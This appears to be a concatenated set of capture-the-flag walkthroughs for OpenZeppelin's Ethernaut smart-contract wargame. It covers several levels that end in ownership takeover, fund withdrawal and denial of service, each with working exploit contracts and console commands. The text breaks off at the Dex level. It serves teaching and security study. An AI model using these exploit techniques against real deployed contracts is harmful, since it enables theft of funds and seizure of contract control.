58 | According to `ERC20` spec, there's also an allowance mechanism that allows anyone to authorize someone else (the `spender`) to spend their tokens! This is exactly what `allowance(address owner, address spender)` method is for, in the `ERC20` contract. The allowance can then be transacted using the `transferFrom(address sender, address recipient, uint256 amount)` method.
59 |
60 | Apart from `player` create another account named - `spender` in your wallet (MetaMask or some other wallet).
61 |
62 | Get the `player`'s total balance by:
63 | ```javascript
64 | totalBalance = await contract.balanceOf(player).then(v => v.toString())
65 |
66 | // Output: '1000000000000000000000000'
67 | ```
68 |
69 | Make the `player` approve `spender` for all of it's tokens:
70 | ```javascript
71 | await contract.approve(spender, totalBalance)
72 | ```
73 |
74 | Make the `spender` to transfer all of it's allowance (which is equal to all of the tokens of `player`) to `spender` itself.
75 |
76 | I used MetaMask wallet and it connects only a single account at a time to an application. But we need both `player` and `spender` connected.
77 |
78 | For this, in a new browser window, go to Remix, and connect only the `spender` account to it. (Make sure `player` is disconnected from Remix and `spender` is disconnected from Ethernaut. For me, switching accounts in one window caused switch in other window too, otherwise).
79 |
80 | Create an interface to `NaughtCoin`:
81 | ```solidity
82 | // SPDX-License-Identifier: MIT
83 | pragma solidity ^0.6.0;
84 |
85 | interface INaughtCoin {
86 | function transferFrom(
87 | address sender,
88 | address recipient,
89 | uint256 amount
90 | ) external returns (bool);
91 | }
92 | ```
93 |
94 | And load instance of `NaughtCoin` using **At Address** button with given instance address of `NaughtCoin`.
95 |
96 | Call the `transferFrom` method with params - `player` address as sender, `spender` address as recipient and `1000000000000000000000000` as amount.
97 |
98 | And that's it.
99 |
100 | Level cleared!
101 |
102 |
103 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
104 |
105 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
106 |
107 |
--------------------------------------------------------------------------------
/level_16_Preservation.md:
--------------------------------------------------------------------------------
1 | # Level 16: Preservation
2 |
3 | This is the level 16 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - [Layout of state variables](https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html#layout-of-state-variables-in-storage) in Storage
7 | - Context preserving nature of [Delegatecall](https://medium.com/coinmonks/delegatecall-calling-another-contract-function-in-solidity-b579f804178c) function
8 |
9 | ## Hack
10 | Given contract:
11 |
12 | ```solidity
13 | // SPDX-License-Identifier: MIT
14 | pragma solidity ^0.6.0;
15 |
16 | contract Preservation {
17 |
18 | // public library contracts
19 | address public timeZone1Library;
20 | address public timeZone2Library;
21 | address public owner;
22 | uint storedTime;
23 | // Sets the function signature for delegatecall
24 | bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
25 |
26 | constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
27 | timeZone1Library = _timeZone1LibraryAddress;
28 | timeZone2Library = _timeZone2LibraryAddress;
29 | owner = msg.sender;
30 | }
31 |
32 | // set the time for timezone 1
33 | function setFirstTime(uint _timeStamp) public {
34 | timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
35 | }
36 |
37 | // set the time for timezone 2
38 | function setSecondTime(uint _timeStamp) public {
39 | timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
40 | }
41 | }
42 |
43 | // Simple library contract to set the time
44 | contract LibraryContract {
45 |
46 | // stores a timestamp
47 | uint storedTime;
48 |
49 | function setTime(uint _time) public {
50 | storedTime = _time;
51 | }
52 | }
53 | ```
54 |
55 | `player` has to claim the ownership of `Preservation`.
56 |
57 | The vulnerability `Preservation` contract comes from the fact that its storage layout is NOT parallel or complementing to that of `LibraryContract` whose method the `Preservation` is calling using `delegatecall`.
58 |
59 | Since `delegatecall` is context-preserving any write would alter the storage of `Preservation`, and NOT `LibraryContract`.
60 |
61 | The call to `setTime` of `LibraryContract` is _supposed_ to change `storedTime` (slot 3) in `Preservation` but instead it would write to `timeZone1Library` (slot 0). This is because `storeTime` of `LibraryContract` is at slot 0 and the corresponding slot 0 storage at `Preservation` is `timeZone1Library`.
62 |
63 | ```
64 | | LibraryContract Preservation
65 | --------------------------------------------------
66 | slot 0 | storedTime <- timeZone1Library
67 | slot 1 | _ timeZone2Library
68 | slot 2 | _ owner
69 | slot 3 | _ storedTime
70 | ```
71 |
72 | This information can be used to alter `timeZone1Library` address to a malicious contract - `EvilLibraryContract`. So that calls to `setTime` is executed in a `EvilLibraryContract`:
73 |
74 | ```solidity
75 | // SPDX-License-Identifier: MIT
76 | pragma solidity ^0.6.0;
77 |
78 | contract EvilLibraryContract {
79 | address public timeZone1Library;
80 | address public timeZone2Library;
81 | address public owner;
82 |
83 | function setTime(uint _time) public {
84 | owner = msg.sender;
85 | }
86 | }
87 | ```
88 |
89 | Note that storage layout of `EvilLibraryContract` is complementing to `Preservation` so that proper state variables are changed in `Preservation` when any storage changes. Moreover, `setTime` contains malicious code that changes ownership to `msg.sender` (which would the `player`).
90 |
91 | Let's start the attack!
92 |
93 | First deploy `EvilLibraryContract` and copy it's address. Then alter the `timeZone1Library` in `Preservation` by:
94 | ```javascript
95 | await contract.setFirstTime()
96 | ```
97 | (a 32 byte `uint` type can accommodate 20 byte `address` value)
98 |
99 | Now the `delegatecall` in `setFirstTime` would execute `setTime` of `EvilLibraryContract`, instead of `LibraryContract`.
100 |
101 | Call `setFirstTime` with any `uint` param:
102 | ```javascript
103 | await contract.setFirstTime(1)
104 | ```
105 |
106 | Bang! `player` (`msg.sender`) is set as `owner` through `setTime` of `EvilLibraryContract`.
107 |
108 | Verify by:
109 | ```javascript
110 | await contract.owner() === player
111 |
112 | // Output: true
113 | ```
114 |
115 | Level cracked!
116 |
117 |
118 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
119 |
120 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
121 |
122 |
--------------------------------------------------------------------------------
/level_17_Recovery.md:
--------------------------------------------------------------------------------
1 | # Level 17: Recovery
2 |
3 | This is the level 17 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - Basic [Etherscan](https://rinkeby.etherscan.io) inspection
7 | - [Determining address of a new contract](https://swende.se/blog/Ethereum_quirks_and_vulns.html)
8 |
9 | ## Hack
10 | Given contract:
11 | ```solidity
12 | // SPDX-License-Identifier: MIT
13 | pragma solidity ^0.6.0;
14 |
15 | import '@openzeppelin/contracts/math/SafeMath.sol';
16 |
17 | contract Recovery {
18 |
19 | //generate tokens
20 | function generateToken(string memory _name, uint256 _initialSupply) public {
21 | new SimpleToken(_name, msg.sender, _initialSupply);
22 |
23 | }
24 | }
25 |
26 | contract SimpleToken {
27 |
28 | using SafeMath for uint256;
29 | // public variables
30 | string public name;
31 | mapping (address => uint) public balances;
32 |
33 | // constructor
34 | constructor(string memory _name, address _creator, uint256 _initialSupply) public {
35 | name = _name;
36 | balances[_creator] = _initialSupply;
37 | }
38 |
39 | // collect ether in return for tokens
40 | receive() external payable {
41 | balances[msg.sender] = msg.value.mul(10);
42 | }
43 |
44 | // allow transfers of tokens
45 | function transfer(address _to, uint _amount) public {
46 | require(balances[msg.sender] >= _amount);
47 | balances[msg.sender] = balances[msg.sender].sub(_amount);
48 | balances[_to] = _amount;
49 | }
50 |
51 | // clean up after ourselves
52 | function destroy(address payable _to) public {
53 | selfdestruct(_to);
54 | }
55 | }
56 | ```
57 |
58 | `player` has to retrieve the funds from the lost address of contract which was created using the `Recovery`'s first transaction.
59 |
60 | If the address of the lost `SimpleToken` address is retrieved it's funds can be retrieved using the `destroy` method.
61 |
62 | The easiest way to solve this would be to copy the address of `Recovery` in [Etherscan](https://rinkeby.etherscan.io/) (on Rinkeby network) and inspect transactions in **Internal Txns** tab. Find the latest **Contract Creation** transaction and click through the same to get the address of created contract.
63 |
64 | Now simply call `destroy` method at that address.
65 | So, if `tokenAddr` is the retrieved address then:
66 | ```javascript
67 | functionSignature = {
68 | name: 'destroy',
69 | type: 'function',
70 | inputs: [
71 | {
72 | type: 'address',
73 | name: '_to'
74 | }
75 | ]
76 | }
77 |
78 | params = [player]
79 |
80 | data = web3.eth.abi.encodeFunctionCall(functionSignature, params)
81 |
82 | await web3.eth.sendTransaction({from: player, to: tokenAddr, data})
83 | ```
84 | That'd do the job.
85 |
86 | Another way to get the lost address is by utilizing the fact that creation of addresses of Ethereum is deterministic and can be calculated by:
87 | ```
88 | keccack256(address, nonce)
89 | ```
90 | where `address` is the address of contract that created the transaction and `nonce` is the number of contracts the creator address has created. You can read more [here](https://swende.se/blog/Ethereum_quirks_and_vulns.html).
91 |
92 | That's it!
93 |
94 |
95 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
96 |
97 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
98 |
99 |
--------------------------------------------------------------------------------
/level_18_Magic-Number.md:
--------------------------------------------------------------------------------
1 | # Level 18: Magic Number
2 |
3 | This is the level 18 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - Solidity [bytecode and opcode](https://medium.com/@blockchain101/solidity-bytecode-and-opcode-basics-672e9b1a88c2) basics
7 | - [Destructuring Solidity Contract](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/) series
8 | - EVM opcodes [reference](https://ethereum.org/en/developers/docs/evm/opcodes)
9 |
10 | ## Hack
11 |
12 | Given contract:
13 | ```
14 | // SPDX-License-Identifier: MIT
15 | pragma solidity ^0.6.0;
16 |
17 | contract MagicNum {
18 |
19 | address public solver;
20 |
21 | constructor() public {}
22 |
23 | function setSolver(address _solver) public {
24 | solver = _solver;
25 | }
26 |
27 | /*
28 | ____________/\\\_______/\\\\\\\\\_____
29 | __________/\\\\\_____/\\\///////\\\___
30 | ________/\\\/\\\____\///______\//\\\__
31 | ______/\\\/\/\\\______________/\\\/___
32 | ____/\\\/__\/\\\___________/\\\//_____
33 | __/\\\\\\\\\\\\\\\\_____/\\\//________
34 | _\///////////\\\//____/\\\/___________
35 | ___________\/\\\_____/\\\\\\\\\\\\\\\_
36 | ___________\///_____\///////////////__
37 | */
38 | }
39 | ```
40 |
41 | `player` has to make a tiny contract (`Solver`) in size (10 opcodes at most) and set it's address in `MagicNum`.
42 |
43 | There's a tight restriction on size of the `Solver`
44 | contract - 10 opcodes or less. Because each opcode is 1 byte, the bytecode of the solver must be 10 bytes at max.
45 |
46 | Writing high-level solidity would yield the size much greater than just 10 bytes, so we turn to writing raw EVM bytes corresponding to contract opcodes.
47 |
48 | We need to write two sections of opcodes:
49 | - **Initialization Opcodes** which EVM uses to create the contract by replicating the runtime opcodes and returning them to EVM to save in storage.
50 |
51 | - **Runtime Opcodes** which contains the execution logic of the contract.
52 |
53 | Alright, so let's figure out runtime opcode first.
54 |
55 | ### Runtime Opcode
56 |
57 | The code needs to return the 32 byte magic number - 42 or `0x2a` (in hex).
58 |
59 | The corresponding opcode is `RETURN`. But, `RETURN` takes two arguments - the location of value in memory and the size of this value to be returned. That means the `0x2a` needs to be stored in memory first - which `MSTORE` facilitates. But `MSTORE` itself takes two arguments - the location of value in stack and its size. So, we need push the value and size params into stack first using `PUSH1` opcode.
60 |
61 | Lookup the opcodes to be used in opcode reference to get corresponding hex codes:
62 | ```
63 | OPCODE NAME
64 | ------------------
65 | 0x60 PUSH1
66 | 0x52 MSTORE
67 | 0xf3 RETURN
68 | ```
69 |
70 | Let's write corresponding opcodes:
71 | ```
72 | OPCODE DETAIL
73 | ------------------------------------------------
74 | 602a Push 0x2a in stack.
75 | Value (v) param to MSTORE(0x60)
76 |
77 | 6050 Push 0x50 in stack.
78 | Position (p) param to MSTORE
79 |
80 | 52 Store value,v=0x2a at position, p=0x50 in memory
81 |
82 | 6020 Push 0x20 (32 bytes, size of v) in stack.
83 | Size (s) param to RETURN(0xf3)
84 |
85 | 6050 Push 0x50 (slot at which v=0x42 was stored).
86 | Position (p) param to RETURN
87 |
88 | f3 RETURN value, v=0x42 of size, s=0x20 (32 bytes)
89 | ```
90 |
91 | Concatenate the opcodes and we get the bytecode:
92 | ```
93 | 602a60505260206050f3
94 | ```
95 | which is exactly 10 bytes, the max limit allowed by the level!
96 |
97 | ### Initialization opcode
98 |
99 | The initialization opcodes need to come before the runtime opcode. These opcodes need to load runtime opcodes into memory and return the same to EVM.
100 |
101 | To `CODECOPY` opcode can be used to copy the runtime opcodes. It takes three arguments - the destination position of copied code in memory, current position of runtime opcode in the bytecode and size of the code in bytes.
102 |
103 | Following opcodes is needed for the above purpose:
104 | ```
105 | OPCODE NAME
106 | ------------------
107 | 0x60 PUSH1
108 | 0x52 MSTORE
109 | 0xf3 RETURN
110 | 0x39 CODECOPY
111 | ```
112 |
113 | But we don't know the position of runtime opcode in final bytecode (since init. opcode comes before runtime opcode). Let's omit it using `--` for now and calculate the init. opcodes:
114 | ```
115 | OPCODE DETAIL
116 | -----------------------------------------
117 | 600a Push 0x0a (size of runtime opcode i.e. 10 bytes)
118 | in stack.
119 | Size (s) param to COPYCODE (0x39)
120 |
121 | 60-- Push -- (unknown) in stack
122 | Position (p) param to COPYCODE
123 |
124 | 6000 Push 0x00 (chosen destination in memory) in stack
125 | Destination (d) param to COPYCODE
126 |
127 | 39 Copy code of size, s at position, p
128 | to destination, d in memory
129 |
130 | 600a Push 0x0a (size of runtime opcode i.e. 10 bytes)
131 | in stack.
132 | Size (s) param to RETURN (0xf3)
133 |
134 | 6000 Push 0x00 (location of value in memory) in stack.
135 | Position (p) param to RETURN
136 |
137 | f3 Return value of size, s at position, p
138 | ```
139 | So the initialization opcode is:
140 | ```
141 | 600a60--600039600a6000f3
142 | ```
143 | which is 12 bytes in total.
144 |
145 | And hence runtime opcodes start at index 12 or position `0x0c`.
146 |
147 | Therefore initialization opcode must be:
148 | ```
149 | 600a600c600039600a6000f3
150 | ```
151 |
152 | ### Final Opcode
153 |
154 | Alright we have initialization as well as runtime opcodes now. Concatenate them to get final opcode:
155 | ```
156 | initialization opcode + runtime opcode
157 |
158 | = 600a600c600039600a6000f3 + 602a60505260206050f3
159 |
160 | = 600a600c600039600a6000f3602a60505260206050f3
161 | ```
162 |
163 | We can now create the contract by noting the fact that a transaction sent to zero address (`0x0`) with some data is interpreted as Contract Creation by the EVM.
164 |
165 | ```javascript
166 | bytecode = '600a600c600039600a6000f3602a60505260206050f3'
167 |
168 | txn = await web3.eth.sendTransaction({from: player, data: bytecode})
169 | ```
170 |
171 | After deploying get the contract address from returned transaction receipt:
172 | ```javascript
173 | solverAddr = txn.contractAddress
174 | ```
175 |
176 | Set the address `Solver` address in `MagicNum`:
177 | ```javascript
178 | await contract.setSolver(solverAddr)
179 | ```
180 |
181 | Submit instance.
182 |
183 | Done!
184 |
185 |
186 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
187 |
188 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
189 |
190 |
--------------------------------------------------------------------------------
/level_19_Alien-Codex.md:
--------------------------------------------------------------------------------
1 | # Level 19: Alien Codex
2 |
3 | This is the level 19 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 |
7 | - Contract [storage mechanism](https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/) for dynamically sized arrays
8 | - Integer [overflow/underflow](https://docs.soliditylang.org/en/v0.6.0/security-considerations.html#two-s-complement-underflows-overflows) in Solidity
9 | - [Storage slot assignment in contract on inheritance](https://ethereum.stackexchange.com/questions/63403/in-solidity-how-does-the-slot-assignation-work-for-storage-variables-when-there)
10 |
11 | ## Hack
12 |
13 | Given contract:
14 | ```solidity
15 | // SPDX-License-Identifier: MIT
16 | pragma solidity ^0.5.0;
17 |
18 | import '../helpers/Ownable-05.sol';
19 |
20 | contract AlienCodex is Ownable {
21 |
22 | bool public contact;
23 | bytes32[] public codex;
24 |
25 | modifier contacted() {
26 | assert(contact);
27 | _;
28 | }
29 |
30 | function make_contact() public {
31 | contact = true;
32 | }
33 |
34 | function record(bytes32 _content) contacted public {
35 | codex.push(_content);
36 | }
37 |
38 | function retract() contacted public {
39 | codex.length--;
40 | }
41 |
42 | function revise(uint i, bytes32 _content) contacted public {
43 | codex[i] = _content;
44 | }
45 | }
46 | ```
47 |
48 | `player` has to claim ownership of `AlienCodex`.
49 |
50 | The target `AlienCodex` implements ownership pattern so it must have a `owner` state variable of `address` type, which can also be confirmed upon inspecting ABI (`contract.abi`). Moreover, the 20 byte `owner` is stored at slot 0 (as well as 1 byte bool `contact`).
51 |
52 | Before we start, note that every contract on Ethereum has storage like an array of 2256 (indexing from 0 to 2256 - 1) slots of 32 byte each.
53 |
54 | The vulnerability of `AlienCodex` originates from the `retract` method which sets a new array length without checking a potential underflow. Initially, `codex.length` is zero. Upon invoking `retract` method once, 1 is subtracted from zero, causing an underflow. Consequently, `codex.length` becomes 2256 which is exactly equal to total storage capacity of the contract! That means any storage slot of the contract can now be written by changing the value at proper index of `codex`! This is possible because EVM doesn't validate an array's ABI-encoded length against its actual payload.
55 |
56 | First call `make_contact` so that we can pass check - `contacted`, on other methods:
57 | ```javascript
58 | await contract.make_contact()
59 | ```
60 |
61 | Modify `codex` length to 2256 by invoking `retract`:
62 | ```javascript
63 | await contract.retract()
64 | ```
65 |
66 | Now, we have to calculate the index, `i` of `codex` which corresponds to slot 0 (where `owner` is stored).
67 |
68 | Since, `codex` is dynamically sized only it's length is stored at next slot - slot 1. And it's location/position in storage, according to allocation rules, is determined by as `keccak256(slot)`:
69 | ```
70 | p = keccak256(slot)
71 | or, p = keccak256(1)
72 | ```
73 |
74 | Hence, storage layout would look something like:
75 | ```
76 | Slot Data
77 | ------------------------------
78 | 0 owner address, contact bool
79 | 1 codex.length
80 | .
81 | .
82 | .
83 | p codex[0]
84 | p + 1 codex[1]
85 | .
86 | .
87 | 2^256 - 2 codex[2^256 - 2 - p]
88 | 2^256 - 1 codex[2^256 - 1 - p]
89 | 0 codex[2^256 - p] (overflow!)
90 | ```
91 | Form above table it can be seen that slot 0 in storage corresponds to index, `i` = `2^256 - p` or `2^256 - keccak256(1)` of `codex`!
92 |
93 | So, writing to that index, `i` will change `owner` as well as `contact`.
94 |
95 | You can go on write some Solidity to calculate `i` using `keccak256`, but it can also be done in console which I'm going to use.
96 |
97 | Calculate position, `p` in storage of start of `codex` array
98 | ```javascript
99 | // Position
100 | p = web3.utils.keccak256(web3.eth.abi.encodeParameters(["uint256"], [1]))
101 |
102 | // Output: 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
103 | ```
104 |
105 | Calculate the required index, `i`. Use `BigInt` for mathematical calculations between very large numbers.
106 | ```javascript
107 | i = BigInt(2 ** 256) - BigInt(p)
108 |
109 | // Output: 35707666377435648211887908874984608119992236509074197713628505308453184860938n
110 | ```
111 |
112 | Now since value to be put must be 32 byte, pad the `player` address on left with `0`s to make a total of 32 byte. Don't forget to slice off `0x` prefix from player address!
113 | ```javascript
114 | content = '0x' + '0'.repeat(24) + player.slice(2)
115 |
116 | // Output: '0x000000000000000000000000<20-byte-player-address>'
117 | ```
118 |
119 | Finally call revise to alter the storage slot:
120 | ```javascript
121 | await contract.revise(i, content)
122 | ```
123 |
124 | And we hijacked `AlienCodex`! Verify by:
125 | ```javascript
126 | await contract.owner() === player
127 |
128 | // Output: true
129 | ```
130 |
131 | Done!
132 |
133 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
134 |
135 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
136 |
137 |
--------------------------------------------------------------------------------
/level_1_Fallback.md:
--------------------------------------------------------------------------------
1 | # Level 1: Fallback
2 |
3 | This is the level 1 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.
4 |
5 | ## Pre-requisites
6 |
7 | - Sending transactions using [web3.js](https://ethereum.stackexchange.com/questions/53094/sending-ether-via-contract-instance) to a contract and to a payable function
8 | - [Conversion between units ether & wei](https://web3js.readthedocs.io/en/v1.5.2/web3-utils.html#towei)
9 | - Solidity contract [fallback](https://ethereum.stackexchange.com/questions/81994/what-is-the-receive-keyword-in-solidity/81995) function
10 |
11 | ## Hack
12 |
13 | Given contract:
14 |
15 | ```solidity
16 | // SPDX-License-Identifier: MIT
17 | pragma solidity ^0.6.0;
18 |
19 | import '@openzeppelin/contracts/math/SafeMath.sol';
20 |
21 | contract Fallback {
22 |
23 | using SafeMath for uint256;
24 | mapping(address => uint) public contributions;
25 | address payable public owner;
26 |
27 | constructor() public {
28 | owner = msg.sender;
29 | contributions[msg.sender] = 1000 * (1 ether);
30 | }
31 |
32 | modifier onlyOwner {
33 | require(
34 | msg.sender == owner,
35 | "caller is not the owner"
36 | );
37 | _;
38 | }
39 |
40 | function contribute() public payable {
41 | require(msg.value < 0.001 ether);
42 | contributions[msg.sender] += msg.value;
43 | if(contributions[msg.sender] > contributions[owner]) {
44 | owner = msg.sender;
45 | }
46 | }
47 |
48 | function getContribution() public view returns (uint) {
49 | return contributions[msg.sender];
50 | }
51 |
52 | function withdraw() public onlyOwner {
53 | owner.transfer(address(this).balance);
54 | }
55 |
56 | receive() external payable {
57 | require(msg.value > 0 && contributions[msg.sender] > 0);
58 | owner = msg.sender;
59 | }
60 | }
61 | ```
62 |
63 | and `contract` methods & `web3.js` functions injected into console.
64 |
65 | We, the `player` address, have to somehow become `owner` of the contract & withdraw all amount from contract.
66 |
67 | Key parts to notice are `contribute` function and `receive` fallback function of contract.
68 |
69 | From the constructor, it can be seen that `owner`'s contribution is 1000 eth. One way to become `owner` is to send more than current `owner`'s contributed eth to `contribute` function to be owner. Let's check `owner`'s contributed eth using console:
70 |
71 | ```javascript
72 | ownerAddr = await contract.owner();
73 | await contract.contributions('0x9CB391dbcD447E645D6Cb55dE6ca23164130D008').then(v => v.toString())
74 |
75 | // Output '1000000000000000000000'
76 | ```
77 | But, that'd be too much eth! We have nowhere near it.
78 |
79 | Take a look at `receive` fallback function though. It also has code to change ownerships. According to what code is there, we can claim ownership if:
80 |
81 | - Contract has a non-zero contribution from us (i.e. `player`).
82 | - Then, we send the contract a non-zero eth amount.
83 |
84 | `player` address has zero contribution to contract currently, so let's satisfy first condition by sending a **less than 0.001** eth (required acc. to code):
85 |
86 | ```javascript
87 | await contract.contribute.sendTransaction({ from: player, value: toWei('0.0009')})
88 | ```
89 |
90 | Now we have a non-zero contribution that you can verify by:
91 |
92 | ```javascript
93 | await contract.getContribution().then(v => v.toString())
94 | ```
95 |
96 | And now send any non-zero amount of ether to contract:
97 | ```javascript
98 | await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})
99 | ```
100 |
101 | Boom! We claimed ownership of the contract!
102 | You can verify that `owner` is same address as `player` by:
103 |
104 | ```javascript
105 | await contract.owner()
106 | // Output: Same as player address
107 | ```
108 |
109 | And for the final blow, withdraw all of contract's balance:
110 |
111 | ```javascript
112 | await contract.withdraw()
113 | ```
114 |
115 | Done.
116 |
117 |
118 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
119 |
120 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
121 |
122 |
--------------------------------------------------------------------------------
/level_20_Denial.md:
--------------------------------------------------------------------------------
1 | # Level 20: Denial
2 |
3 | This is the level 20 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 |
7 | - Solidity [`call` & `receive`](https://solidity-by-example.org/sending-ether/) methods
8 | - [gasleft](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html#block-and-transaction-properties) function
9 |
10 | ## Hack
11 |
12 | Given contract:
13 |
14 | ```
15 | // SPDX-License-Identifier: MIT
16 | pragma solidity ^0.6.0;
17 |
18 | import '@openzeppelin/contracts/math/SafeMath.sol';
19 |
20 | contract Denial {
21 |
22 | using SafeMath for uint256;
23 | address public partner; // withdrawal partner - pay the gas, split the withdraw
24 | address payable public constant owner = address(0xA9E);
25 | uint timeLastWithdrawn;
26 | mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
27 |
28 | function setWithdrawPartner(address _partner) public {
29 | partner = _partner;
30 | }
31 |
32 | // withdraw 1% to recipient and 1% to owner
33 | function withdraw() public {
34 | uint amountToSend = address(this).balance.div(100);
35 | // perform a call without checking return
36 | // The recipient can revert, the owner will still get their share
37 | partner.call{value:amountToSend}("");
38 | owner.transfer(amountToSend);
39 | // keep track of last withdrawal time
40 | timeLastWithdrawn = now;
41 | withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
42 | }
43 |
44 | // allow deposit of funds
45 | receive() external payable {}
46 |
47 | // convenience function
48 | function contractBalance() public view returns (uint) {
49 | return address(this).balance;
50 | }
51 | }
52 | ```
53 |
54 | `player` has to plant a denial of service attack such that `owner` is unable to withdraw funds through `withdraw` method.
55 |
56 | This contract's vulnerability comes from the `withdraw` method which does not mitigate against possible attack through execution of some unknown external contract code through `call` method. `call` did not set a gas limit that external call can use.
57 |
58 | The `call` method here can invoke the `receive` method of a malicious contract at `partner` address. And this is where we're going to eat up all gas so that `withdraw` function reverts with out of gas exception.
59 |
60 | Since writing to storage is one of the most expensive operations, I will chose it for exhausting the gas in the malicious `GasBurner`:
61 |
62 | ```solidity
63 | // SPDX-License-Identifier: MIT
64 | pragma solidity ^0.6.0;
65 |
66 | contract GasBurner {
67 | uint256 n;
68 |
69 | function burn() internal {
70 | while (gasleft() > 0) {
71 | n += 1;
72 | }
73 | }
74 |
75 | receive() external payable {
76 | burn();
77 | }
78 | }
79 | ```
80 |
81 | Deploy `GasBurner` on Remix and copy it's address.
82 |
83 | Now, set the `partner` in `Denial`:
84 | ```javascript
85 | await contract.setWithdrawPartner('')
86 | ```
87 |
88 | The `GasBurner` has been planted! `withdraw` would now revert on invocation.
89 |
90 | Fin.
91 |
92 |
93 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
94 |
95 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
96 |
97 |
--------------------------------------------------------------------------------
/level_21_Shop.md:
--------------------------------------------------------------------------------
1 | # Level 21: Shop
2 |
3 | This is the level 21 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 |
7 | - Solidity [view functions](https://docs.soliditylang.org/en/v0.8.11/contracts.html#view-functions)
8 |
9 | ## Hack
10 |
11 | Given contract:
12 |
13 | ```solidity
14 | // SPDX-License-Identifier: MIT
15 | pragma solidity ^0.6.0;
16 |
17 | interface Buyer {
18 | function price() external view returns (uint);
19 | }
20 |
21 | contract Shop {
22 | uint public price = 100;
23 | bool public isSold;
24 |
25 | function buy() public {
26 | Buyer _buyer = Buyer(msg.sender);
27 |
28 | if (_buyer.price() >= price && !isSold) {
29 | isSold = true;
30 | price = _buyer.price();
31 | }
32 | }
33 | }
34 | ```
35 |
36 | `player` has to set `price` to less than it's current value.
37 |
38 | The new value of `price` is fetched by calling `price()` method of a `Buyer` contract. Note that there are two distinct `price()` calls - in the `if` statement check and while setting new value of `price`. A `Buyer` can cheat by returning a legit value in `price()` method of `Buyer` during the first invocation (during `if` check) and returning any less value, say 0, during second invocation (while setting `price`).
39 |
40 | But, we can't track the number of `price()` invocation in `Buyer` contract because `price()` must be a `view` function (as per the interface) - can't write to storage! However, look closely new `price` in `buy()` is set _after_ `isSold` is set to `true`. We can read the public `isSold` variable and return from `price()` of `Buyer` contract accordingly. Bingo!
41 |
42 | Write the malicious `Buyer` in Remix:
43 | ```
44 | // SPDX-License-Identifier: MIT
45 | pragma solidity ^0.6.0;
46 |
47 | interface IShop {
48 | function buy() external;
49 | function isSold() external view returns (bool);
50 | function price() external view returns (uint);
51 | }
52 |
53 | contract Buyer {
54 |
55 | function price() external view returns (uint) {
56 | bool isSold = IShop(msg.sender).isSold();
57 | uint askedPrice = IShop(msg.sender).price();
58 |
59 | if (!isSold) {
60 | return askedPrice;
61 | }
62 |
63 | return 0;
64 | }
65 |
66 | function buyFromShop(address _shopAddr) public {
67 | IShop(_shopAddr).buy();
68 | }
69 | }
70 | ```
71 |
72 | Get the address of `Shop`:
73 | ```javascript
74 | contract.address
75 |
76 | // Output:
77 | ```
78 |
79 | Now simply call `buyFromShop` of `Buyer` with `` as only param.
80 |
81 | The `price` in `Shop` is now 0. Verify by:
82 | ```javascript
83 | await contract.price().then(v => v.toString())
84 |
85 | // Output: '0'
86 | ```
87 |
88 | Free buy!
89 |
90 |
91 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄
92 |
93 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏
94 |
95 |
--------------------------------------------------------------------------------
/level_22_Dex.md:
--------------------------------------------------------------------------------
1 | # Level 22: Dex
2 |
3 | This is the level 22 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.
4 |
5 | ## Pre-requisites
6 | - [ERC20 Token Standard](https://eips.ethereum.org/EIPS/eip-20)
7 | - Solidity [division operation](https://docs.soliditylang.org/en/v0.8.11/types.html#division)
8 |
9 | ## Hack
10 |
11 | Given contract:
12 | ```solidity
13 | // SPDX-License-Identifier: MIT
14 | pragma solidity ^0.6.0;
15 |
16 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
